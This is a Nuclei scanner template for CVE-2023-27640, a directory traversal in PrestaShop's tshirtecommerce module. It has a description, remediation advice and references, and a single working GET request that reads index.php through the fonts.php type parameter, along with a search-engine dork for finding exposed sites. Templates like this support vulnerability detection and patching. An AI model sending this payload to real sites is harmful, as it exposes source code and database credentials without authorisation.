id: CVE-2023-27640

info:
  name: PrestaShop tshirtecommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the type parameter in fonts.php to read arbitrary PHP source code files, potentially exposing database credentials and PrestaShop configuration.
  remediation: |
    Update Custom Product Designer (tshirtecommerce) module to a patched version that validates file paths in fonts.php and prevents directory traversal attacks.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27640/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27640
    cwe-id: CWE-22
    epss-score: 0.03573
    epss-percentile: 0.87881
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(base64_decode(body), "PrestaShop", "<?php")'
        condition: and
# digest: 4a0a0047304502210095561c0ac8efe19a640ee60db08aa3e1b2d284a6a0d8c4ed6045e5cdca8ebf7802203fe4f2e38f0133a0f7b265f82217ca4a03b28fa8867dac6b0096340793e2158e:922c64590222798bb761d5b6d8e72950